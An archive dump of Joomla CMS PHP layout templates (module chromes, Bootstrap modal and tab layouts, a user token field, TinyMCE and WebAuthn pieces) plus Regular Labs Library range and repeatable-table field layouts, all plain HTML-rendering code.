Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_HEADER_NOMETHODS_LABEL')
?>
</td>
</tr>
<?php endif; ?>
</tbody>
</table>
<?php
if ($allow_add) : ?>
<p
class="plg_system_webauthn-manage-add-container">
<button
type="button"
id="plg_system_webauthn-manage-add"
class="btn btn-success w-100">
<span class="icon-plus"
aria-hidden="true"></span>
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_ADD_LABEL') ?>
</button>
</p>
<?php endif; ?>
</div>
plugins/user/token/token.php000064400000002517151166615760012177
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $name Name of the input field.
* @var string $value Value attribute of the field.
*/
Text::script('ERROR');
Text::script('MESSAGE');
Text::script('PLG_USER_TOKEN_COPY_SUCCESS');
Text::script('PLG_USER_TOKEN_COPY_FAIL');
Factory::getApplication()->getDocument()->getWebAssetManager()
->registerAndUseScript('plg_user_token.token',
'plg_user_token/token.js', [], ['defer' => true],
['core']);
?>
<div class="input-group">
<input
type="text"
class="form-control"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
readonly
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>">
<button
class="btn btn-primary"
type="button"
id="token-copy"
title="<?php echo
Text::_('PLG_USER_TOKEN_COPY_DESC'); ?>"><?php echo
Text::_('PLG_USER_TOKEN_COPY'); ?></button>
</div>
plugins/editors/tinymce/field/tinymcebuilder/setaccess.php000064400000001073151166615760020155
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage Editors.tinymce
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var \Joomla\CMS\Form\Form $form Form with extra options for
the set
* @var \Joomla\CMS\Layout\FileLayout $this Context
*/
?>
<div class="setaccess-form-wrapper">
<?php echo $form->renderField('access'); ?>
</div>
chromes/none.php000064400000000442151166615760007672 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
echo $displayData['module']->content;
chromes/html5.php000064400000004065151166615760007771 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* html5 (chosen html5 tag and font header tags)
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
$module = $displayData['module'];
$params = $displayData['params'];
$attribs = $displayData['attribs'];
if ((string) $module->content === '') {
return;
}
$moduleTag =
htmlspecialchars($params->get('module_tag', 'div'),
ENT_QUOTES, 'UTF-8');
$moduleAttribs = [];
$moduleAttribs['class'] = 'moduletable ' .
htmlspecialchars($params->get('moduleclass_sfx',
''), ENT_QUOTES, 'UTF-8');
$bootstrapSize = (int) $params->get('bootstrap_size',
0);
$moduleAttribs['class'] .= $bootstrapSize !== 0 ? '
col-md-' . $bootstrapSize : '';
$headerTag =
htmlspecialchars($params->get('header_tag', 'h3'),
ENT_QUOTES, 'UTF-8');
$headerClass =
htmlspecialchars($params->get('header_class', ''),
ENT_QUOTES, 'UTF-8');
$headerAttribs = [];
// Only output a header class if one is set
if ($headerClass !== '') {
$headerAttribs['class'] = $headerClass;
}
// Add class from attributes if any
if (!empty($attribs['class'])) {
$moduleAttribs['class'] .= ' ' .
htmlspecialchars($attribs['class'], ENT_QUOTES,
'UTF-8');
}
// Only add aria if the moduleTag is not a div
if ($moduleTag !== 'div') {
if ($module->showtitle) :
$moduleAttribs['aria-labelledby'] = 'mod-' .
$module->id;
$headerAttribs['id'] = 'mod-' .
$module->id;
else :
$moduleAttribs['aria-label'] = $module->title;
endif;
}
$header = '<' . $headerTag . ' ' .
ArrayHelper::toString($headerAttribs) . '>' .
$module->title . '</' . $headerTag . '>';
?>
<<?php echo $moduleTag; ?> <?php echo
ArrayHelper::toString($moduleAttribs); ?>>
<?php if ((bool) $module->showtitle) : ?>
<?php echo $header; ?>
<?php endif; ?>
<?php echo $module->content; ?>
</<?php echo $moduleTag; ?>>
chromes/outline.php000064400000001666151166615760010423 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
Factory::getApplication()->getDocument()
->getWebAssetManager()
->registerAndUseStyle('layouts.chromes.outline',
'layouts/chromes/outline.css');
$module = $displayData['module'];
?>
<div class="mod-preview">
<div class="mod-preview-info">
<div class="mod-preview-position">
<?php echo
Text::sprintf('JGLOBAL_PREVIEW_POSITION', $module->position);
?>
</div>
<div class="mod-preview-style">
<?php echo Text::sprintf('JGLOBAL_PREVIEW_STYLE',
$module->style); ?>
</div>
</div>
<div class="mod-preview-wrapper">
<?php echo $module->content; ?>
</div>
</div>
chromes/table.php000064400000001405151166615760010022 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* Module chrome that wraps the module in a table
*/
defined('_JEXEC') or die;
$module = $displayData['module'];
$params = $displayData['params'];
?>
<table
class="moduletable <?php echo
htmlspecialchars($params->get('moduleclass_sfx',
''), ENT_COMPAT, 'UTF-8'); ?>">
<?php if ((bool) $module->showtitle) : ?>
<tr>
<th>
<?php echo $module->title; ?>
</th>
</tr>
<?php endif; ?>
<tr>
<td>
<?php echo $module->content; ?>
</td>
</tr>
</table>
libraries/html/bootstrap/modal/iframe.php000064400000004247151166615760014576
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
$iframeAttributes = [
'class' => 'iframe',
'src' => $params['url']
];
if (isset($params['title'])) {
$iframeAttributes['name'] =
addslashes($params['title']);
$iframeAttributes['title'] =
addslashes($params['title']);
}
if (isset($params['height'])) {
$iframeAttributes['height'] = $params['height'];
}
if (isset($params['width'])) {
$iframeAttributes['width'] = $params['width'];
}
?>
<iframe <?php echo ArrayHelper::toString($iframeAttributes);
?>></iframe>
libraries/html/bootstrap/modal/footer.php000064400000003676151166615760014636
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
?>
<div class="modal-footer">
<?php echo $params['footer']; ?>
</div>
libraries/html/bootstrap/modal/body.php000064400000004252151166615760014264
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
$bodyClass = 'modal-body';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90) {
$bodyClass .= ' jviewport-height' . $bodyHeight;
}
?>
<div class="<?php echo $bodyClass; ?>">
<?php echo $body; ?>
</div>
libraries/html/bootstrap/modal/main.php000064400000010027151166615760014250
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* - footer string Optional markup for
the modal footer
* - modalCss string Optional CSS classes
of the modal
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
$modalClasses = ['modal'];
if (!isset($params['animation']) ||
$params['animation']) {
$modalClasses[] = 'fade';
}
$modalWidth = isset($params['modalWidth']) ? round((int)
$params['modalWidth'], -1) : '';
$modalDialogClass = 'modal-lg';
if ($modalWidth && $modalWidth > 0 && $modalWidth <=
100) {
$modalDialogClass .= ' jviewport-width' . $modalWidth;
}
if (!empty($params['modalCss'])) {
$modalDialogClass = $params['modalCss'];
}
$modalAttributes = [
'tabindex' => '-1',
'class' => 'joomla-modal ' . implode('
', $modalClasses)
];
if (isset($params['backdrop'])) {
$modalAttributes['data-bs-backdrop'] =
(is_bool($params['backdrop']) ? ($params['backdrop'] ?
'true' : 'false') : $params['backdrop']);
}
if (isset($params['keyboard'])) {
$modalAttributes['data-bs-keyboard'] =
(is_bool($params['keyboard']) ? ($params['keyboard'] ?
'true' : 'false') : 'true');
}
if (isset($params['url'])) {
$url = 'data-url="' . $params['url'] .
'"';
$iframeHtml =
htmlspecialchars(LayoutHelper::render('libraries.html.bootstrap.modal.iframe',
$displayData), ENT_COMPAT, 'UTF-8');
}
?>
<div id="<?php echo $selector; ?>"
role="dialog" <?php echo
ArrayHelper::toString($modalAttributes); ?> <?php echo $url ??
''; ?> <?php echo isset($url) ?
'data-iframe="' . trim($iframeHtml) . '"' :
''; ?>>
<div class="modal-dialog <?php echo $modalDialogClass;
?>">
<div class="modal-content">
<?php
// Header
if (!isset($params['closeButton']) ||
isset($params['title']) || $params['closeButton']) {
echo
LayoutHelper::render('libraries.html.bootstrap.modal.header',
$displayData);
}
// Body
echo
LayoutHelper::render('libraries.html.bootstrap.modal.body',
$displayData);
// Footer
if (isset($params['footer'])) {
echo
LayoutHelper::render('libraries.html.bootstrap.modal.footer',
$displayData);
}
?>
</div>
</div>
</div>
libraries/html/bootstrap/modal/header.php000064400000004504151166615760014557
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $selector Unique DOM identifier for the modal. CSS id
without #
* @var array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @var string $body Markup for the modal body. Appended after the
<iframe> if the URL option is set
*/
?>
<div class="modal-header">
<?php if (isset($params['title'])) : ?>
<h3 class="modal-title"><?php echo
$params['title']; ?></h3>
<?php endif; ?>
<?php if (!isset($params['closeButton']) ||
$params['closeButton']) : ?>
<button type="button" class="btn-close
novalidate" data-bs-dismiss="modal"
aria-label="<?php echo
Text::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>">
</button>
<?php endif; ?>
</div>
libraries/html/bootstrap/tab/endtabset.php000064400000000407151166615760014750
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
libraries/html/bootstrap/tab/starttabset.php000064400000001006151166616030015322
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
?>
<ul class="joomla-tabs nav nav-tabs" id="<?php echo
preg_replace('/^[\.#]/', '', $selector);
?>Tabs" role="tablist"></ul>
<div class="tab-content" id="<?php echo $selector;
?>Content">
libraries/html/bootstrap/tab/endtab.php000064400000000407151166616030014223
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
libraries/html/bootstrap/tab/addtab.php000064400000001444151166616030014207
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
$title = empty($displayData['title']) ? '' :
$displayData['title'];
?>
<div id="<?php echo preg_replace('/^[\.#]/',
'', $id); ?>"
class="tab-pane<?php echo $active; ?>"
data-active="<?php echo trim(htmlspecialchars($active,
ENT_COMPAT, 'UTF-8')); ?>"
data-id="<?php echo htmlspecialchars($id, ENT_COMPAT,
'UTF-8'); ?>"
data-title="<?php echo htmlspecialchars($title, ENT_COMPAT,
'UTF-8'); ?>">
range.php000064400000011256151166655220006367 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('JPATH_BASE') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var string $field
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to. <fields>
section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $prepend
* @var string $append
*/
extract($displayData);
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
['version' => 'auto', 'relative' =>
true, 'conditional' => 'lt IE 9']);
// Initialize some field attributes.
$attributes_range = [
$class ? 'class="' . $class . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
! empty($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
! empty($min) ? 'min="' . $min . '"' :
'',
$autofocus ? 'autofocus' : '',
];
$attributes_number = [
'class="input-mini text-right"',
! empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : '',
];
$chars = strlen($max) ?: $size ?: 4;
$width = $chars * 8;
$classes = [];
if ($prepend)
{
$classes[] = 'input-prepend';
}
if ($append)
{
$classes[] = 'input-append';
}
if (strpos($prepend, 'icon-') === 0)
{
$prepend = '<span class="' . $prepend .
'"></span>';
}
if (strpos($append, 'icon-') === 0)
{
$append = '<span class="' . $append .
'"></span>';
}
if ($prepend && preg_match('#^[A-Z][A-Z0-9_]+$#',
$prepend))
{
$prepend = JText::_($prepend);
}
if ($append && preg_match('#^[A-Z][A-Z0-9_]+$#',
$append))
{
$append = JText::_($append);
}
$input = '<input type="number" name="' . $name
. '" id="' . $id . '" value="' .
$value . '"
oninput="document.querySelector(\'input[data-for=\\\''
. $name . '\\\']\').value=this.value;"'
. ' ' . implode(' ', $attributes_number) . '
/>';
?>
<span class="<?php echo implode(' ', $classes);
?>">
<?php if ($prepend): ?>
<span class="add-on"><?php echo $prepend;
?></span>
<?php endif; ?>
<?php echo $input; ?>
<?php if ($append): ?>
<span class="add-on"><?php echo $append;
?></span>
<?php endif; ?>
</span>
<input type="range" data-for="<?php echo $name;
?>" value="<?php echo $value; ?>"
oninput="document.querySelector('input[name=\'<?php echo
$name; ?>\']').value=this.value;"
<?php echo implode(' ', $attributes_range); ?> />
repeatable-table/section.php000064400000004275151166655220012133
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
$fields = $form->getGroup('');
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<td>
<a class="sortable-handler group-move group-move-<?php echo
$unique_subform_id; ?>" style="cursor: move;"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-menu"
aria-hidden="true"></span>
</a>
</td>
<td data-column="<?php echo strip_tags($fields[$group .
'__field']->label); ?>">
<?php echo $fields[$group .
'__field']->renderField(['hiddenLabel' => true]);
?>
<?php if (isset($fields[$group . '__field_name'])) : ?>
<?php echo $fields[$group .
'__field_name']->renderField(['hiddenLabel' =>
true]); ?>
<?php endif; ?>
</td>
<?php if (isset($fields[$group . '__field_comparison'])) :
?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_comparison']->label); ?>">
<?php echo $fields[$group .
'__field_comparison']->renderField(['hiddenLabel'
=> true]); ?>
</td>
<?php endif; ?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_value']->label); ?>">
<?php echo $fields[$group .
'__field_value']->renderField(['hiddenLabel' =>
true]); ?>
</td>
<td>
<div class="btn-group">
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
</div>
</td>
</tr>
repeatable-table.php000064400000010431151166655220010456 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple mode
* @var int $max Count of maximum repeating in multiple mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', ['core', 'sortable']);
JHtml::_('script', 'system/subform-repeatable.js',
['version' => 'auto', 'relative' =>
true]);
}
// Build heading
$fields = $tmpl->getGroup('');
$column_count = 4;
$table_head = [];
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field']->label) . '</th>';
if (isset($fields[$id . '__' . $fieldname .
'X__field_comparison']))
{
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field_comparison']->label) . '</th>';
$column_count++;
}
$table_head[] = '<th>' . strip_tags($fields[$id .
'__' . $fieldname . 'X__field_value']->label) .
'</th>';
$sublayout = 'section';
// Label will not be shown for sections layout, so reset the margin left
JFactory::getDocument()->addStyleDeclaration(
'.subform-table-sublayout-section .controls { margin-left: 0px
}'
);
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-table-layout
subform-table-sublayout-<?php echo $sublayout; ?>
form-vertical">
<div
class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="tr.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-rows-container="tbody.rows-container-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<table class="adminlist table table-striped ">
<thead>
<tr>
<th style="width:1%;"></th>
<?php echo implode('', $table_head); ?>
<th style="width:1%;"></th>
</tr>
</thead>
<tbody class="rows-container-<?php echo $unique_subform_id;
?>">
<?php foreach ($forms as $k => $form):
echo $this->sublayout(
$sublayout,
[
'form' => $form,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
);
endforeach; ?>
</tbody>
<tfoot>
<tr>
<th colspan="<?php echo $column_count; ?>">
<div class="btn-group btn-group-full">
<a
class="btn btn-mini btn-full button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo
JText::_('JGLOBAL_FIELD_ADD'); ?>"
>
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
</th>
</tr>
</tfoot>
</table>
<?php if ($multiple) : ?>
<template
class="subform-repeatable-template-section"><?php echo
trim(
$this->sublayout(
$sublayout,
[
'form' => $tmpl,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
)
); ?></template>
<?php endif; ?>
</div>
</div>
</div>